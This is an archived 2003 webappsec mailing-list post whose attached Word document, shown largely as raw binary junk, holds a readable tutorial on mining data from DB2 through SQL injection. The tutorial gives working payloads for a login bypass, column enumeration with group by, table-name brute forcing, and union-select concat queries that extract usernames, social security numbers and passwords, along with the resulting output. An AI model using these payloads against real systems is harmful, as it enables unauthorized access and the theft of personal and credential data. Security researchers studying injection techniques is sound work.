[prev in list] [next in list] [prev in thread] [next in thread] 

List:       webappsec
Subject:    DB2 database mining with SQL injection
From:       fr0stman <fr0stman () sun-tzu-security ! net>
Date:       2003-08-25 20:53:55
[Download RAW message or body]

Attached is a write up on how to mine data from DB2 with SQL injection.
This is most likely not the most efficient way to do this but hey it
works. Please by all means contribute other methods.



-- 


-- fr0stman --

Victorious warriors win first and then go to war, while defeated
warriors go to war first and then seek to win.

Sun-tzu, The Art of War. Strategic Assessments

["DB2 database mining with SQL injection.doc" (DB2 database mining with SQL injection.doc)]

аЯрЁБс>ўџ	/1ўџџџ.џџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџьЅС \
U@	№ПмbjbjЌ›Ќ›	""ЮёЮём \
џџџџџџˆ222 \
2222FNNNNj \
Fѕ*’’’’’’’’t \
vvvvvv$RqЌš \
2’’’’’š \
22’’Џ’2 \
’2’t \
’t,22 \
,’†0ЖЌ”HkУ \
NАа,tХ0ѕ,€‚ \
,FF2222 \
2,H’’’’’’’ššFFЄ	ъ
 dFFъ
 \
 \
 \
 \
 \
 \
 \
 \
How \
to mine data from a DB2 database with SQL injection



I have to start by saying this is nothing new I’m just trying to explain how it’s \
working for me. ( I’m sure there are better methods of doing this and please by all \
means revise the document and contribute it back to the community. Portions of this \
write up were taken from SPI Dynamics SQL injection papers and OWASP’s papers on SQL \
injection. Many thanks to all of those guys.

Scenario: 

You have a web application that is vulnerable to SQL injection. The backend database \
is DB2 and detailed error messages are turned on. The vulnerable web app is using the \
following SQL statement to determine if the user can login:

Select * from applogin where name = ‘username’ and password = ‘password’;

If you enter:
Username = ‘ or 1=1—

You get a page stating: 

	Welcome Bob

So now we know Bob is the first user in the database and the application is \
displaying the username in the HTML when we login.

Time to get the rest of the columns:

Username = ‘ group by 1—

An expression starting with "NAME" specified in a SELECT clause<snip>


Username = ‘ group by name—

An expression starting with "SOCIAL_SECURITY_NO" specified in a SELECT clause<snip>


and we continue this until all columns are obtained and there are no more detailed \
error messages. Now we need the final piece which is the table name so we’re going to \
try and brute force some of the SQL statement:

Username = ‘ or ‘

An unexpected token "from applogin where name = '' OR" was found<snip>

We got the applogin table name.

Note:
Other values to try to brute the table name portion: (Taken from SPI Dynamics SQL \
injection paper).

‘Badvalue
‘ or ‘
‘ or
;
9,9,9


Now we have all the columns and the tablename. Let’s get the data. We can’t use the \
old tricks of sum(varchar), etc like in MSSQL since DB2 won’t display the data in the \
error.  We use the function concat and since the variable “name” is displayed in the \
HTML when we login we’ll concatenate the two columns we want as the variable “name” \
and view it as the application displays it in the HTML.

The statement below is showing we enumerated 4 columns with the:

Username = ‘ group by name,social_security_no,comments,password–

The a’s are placeholders to match up the correct number of columns so we don’t get a \
lame error telling us we didn’t match up the columns. Now ee put the following in:

Username = ' union all select concat(name,social_security_no) as name ,'a','a','a' \
from applogin where social_security_no > '1';


You get a page stating:

	Welcome Bob123456789

Where Bob is the username and 123456789 the SSN. This can be done to mine all the \
data with changing the statement around such as:

Username = ' union all select concat(name,password) as name ,'a','a','a' from \
applogin where name > 'c';

You get a page stating:

Welcome joeqwerty

Where joe is the username and qwerty is the password. As I said above questions or \
comments on how to do this better are welcome. I can be contacted at:

fr0stman@sun-tzu-security.net
7:;V`dr›žŸ$	5	>	Ж	З	 \
Ф	Э	Я	п	ч	 
%
I
J
b
o
y
}
†
Љ
6ACRSЇВIJhіяшфрфрмрефмфмфЮяЧУмфмфУфУфУмУмУмУЗЎ \
УфӌӘƒsУhм!юB*CJOJQJaJph(h‚	dhм!ю5B*CJOJQJaJph"h‚	d5B*CJOJQJaJphh8ahм!ю5CJ \
aJ hм!юhм!ю5CJ aJ \
hм!юhИ\§5>*h‚	dh‚	d	jJ№h‚	dhЬXXh‚	dhИ\§h‚	d5>*hм!ю5>*hм!юhм!ю5>*-89:;З	И	У	Ф	Ћ
 Ќ
і
ї
45BC \
УшщIJїїїїђ \
їэээээ \
эээээээ \
эээээээ \
ээgdм!юgd‚	d$a$gdм!ю \
м§ \
 \
 \
 \
 \
JKghМНО–
 —
Љ
Њ
ё
ђ
}~ˆ”–œž)*klњњ \
њњњњњњњ \
њњњѕѕѕ \
ѕѕѕѕѕѕѕ \
ѕњњњњњgdы­gdм!юhМОй
 

 
!
P
†
Š
•
Њ
ё
ђ
і
љ
žЙжлтщRWdМЪвщ№'()*=iw‚ЋЌЏб9ылзгзЯзЫЧЯгЯЧВ \
ЧœЧЯ”ЯЧЫЯЫЯЫЯгЯЫЯЫЫŒЫгЫœЫзˆœˆœˆЯˆœˆЯh‚	dhq \
h)UGhИ\§hИ\§5h8a"hы­5B*CJOJQJaJph(hы­hы­5 \
B*CJOJQJaJphhы­hœh№hИ\§hЬXXhм!юhм!юB*CJOJQJ \
aJph(h‚	dhм!ю5B*CJOJQJaJph5l­ЎVWийкђѓ	
 Žїј#$НОмњњњ \
њњњњњњњ \
њѕѕ№№№ѕ \
ччњњњ \
„а^„аgdЭ#жgdЭ#жgd‚	dgdм!ю9>UVbзиєџ
 ;Œ™ИРыєі"#$%YМНмќј \
є№щ№єндаєЬєЬХЬХЬХЬЙАдЉаЅќЁќ \
hм!юhth‚	dhthЭ#ж5CJ \
aJ hм!юhЭ#ж5CJ aJ h‚	dhЭ#жhЭ#жhv^ h‚	d5CJ aJ \
hм!юh‚	d5CJ aJ h‚	dh‚	dhœh№h‚	dhИ\§h8a 1hАа/ \
Ар=!А"А# $ %А \
 \
 \
 \
 \
œ \
@@ёџ@NormalCJ_HaJmH	sH	tH	DA@ђџЁDDefault \
Paragraph FontRi@ѓџГRTable \
Normalі4ж l4жaі(k@єџС(No \
Listм" \
џџџџ89:;ЗИУФЋЌії45BC \
УшщIJKghМНО–—ЉЊёђ \
}~ˆ”–œž)*kl­ЎV	W	и	й	к	ђ	ѓ		
 


Ž
ї
ј
#$НОо˜0€€8˜0€€x \
˜0€€˜0€€x˜0€€˜ \
0€€x˜0€€˜0€€˜ \
0€€˜0€€x˜0€€˜0 \
€€˜0€€˜0€€˜0 \
€€˜0€€x˜0€€x˜0 \
€€˜0€€x˜0€€˜0€€˜0€€ \
€˜0€€˜0€€x˜0€€ \
˜0€€˜0€€˜0€€ \
€˜0€€€˜0€€€˜0€€ \
€˜0€€€˜0€€ \
€˜0€€˜0€€˜0€€˜0€€ \
€˜0€€€˜0€€€˜0€€ \
€˜0€€€˜0€€0€˜0€€˜0€€ \
€˜0€€ €˜0€€ €˜0€€ \
˜0€€˜0€€x˜0€€ \
€˜0€€˜0€€˜0€€ \
˜0€€˜0€€x˜0€€˜0€€x˜0€€˜0€€ \
€˜0€€ €˜0€€˜0€€ \
€˜0€€ €˜0€€€˜0€€ \
€˜0€€€˜0€€˜0€€ \
˜0€€˜0€€x˜0€€ \
˜0€€˜0€€˜0€€ \
˜0€€˜0€€˜0€€ \
УшщIJKghМНО–—ЉЊђV	W	и	к	ђ	ѓ		
 


Ž
ї
ј
#$о;0œ…hl†
;0€
;0€§џџџ
;0€;0œ…єl†
;0€
;0€§џџџ§џџџ
;0
œ…
є
;0
€
;0
€џџџџ
;0€џџџџ§џџџ; \
0€џџџџ§џџџ \
;0€;0€§џџџ§џџџ
 ;0€
;0€;0œ…Дє;0€
;0€
;0€
{0€џџџџ§џџџ0§џџџ0;0$œ…@5Oh9м
 Jlм
мt{К ФЬ§‡ \
Ыdj‚ЋВЕ=	?	u	{	|	“	Ÿ	Ј	Џ	З	О	а	Ќ
 В
Г
Р
Ь
е
м
ф
"*-Оло \
•ЖєћV]ОСЂІˆŒ“—›w~ЎЕu	|	


:
Ќ
Г
*-Оо33333333333333336AщKf—Њ~9	W	є		
 ІНОлоОлоџџfrostхtq
 8a)UGЬXX‚	dv^ \
ы­Э#жм!юœh№И\§џ@€ллЄ:•GGллмА@џџ \
UnknownџџџџџџџџџџџџG‡z \
€џTimes New \
Roman5€Symbol3&‡z \
€џArial;€Wingdings7&‡ \
ŸVerdana"qˆ№аhжЫx&$Ьx& JХ
Х
!№ \
 \
 \
ДД24жж \
3ƒ№H)№џ?фџџџџџџџџџџџџџџџџџџџџџм!юџџ7How \
to mine data from a DB2 database with SQL \
injectionfrostfrost \
 \
 \
ўџр…ŸђљOhЋ‘+'Гй0œ˜ифє \
	0< Xd
p|„Œ”ф8How to mine data from a DB2 \
database with SQL injectionow frost \
mrosrosNormal.dot \
frost.d10sMicrosoft Word 10.0@<rV \
@ќ(>kУ@8v~HkУХ \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
ўџеЭеœ.“—+,љЎ0 \
hp|„Œ”œЄЌД
 МфIBMж{
8How to mine data from a DB2 database \
with SQL injectionTitle \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
 \
	
 
ўџџџўџџџ \
!"#$%ўџџџ'()*+,-ўџџџ§џџџ0ўџџџўџџџўџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџRoot \
Entryџџџџџџџџ	Р \
FPŒР”HkУ2€1Table \
џџџџџџџџWordDo \
cumentџџџџџџџџ \
""SummaryInformation \
(џџџџDocume \
ntSummaryInformation8џџџџџџџџџџџџ \
&CompObj \
џџџџџџџџџџџџj \
џџџџџџџџџџџџ \
 \
џџџџџџџџџџџџўџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџўџ
 џџџџ	РFMicrosoft Word Document
MSWordDocWord.Document.8є9Вq \
 \
 \
 \





[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic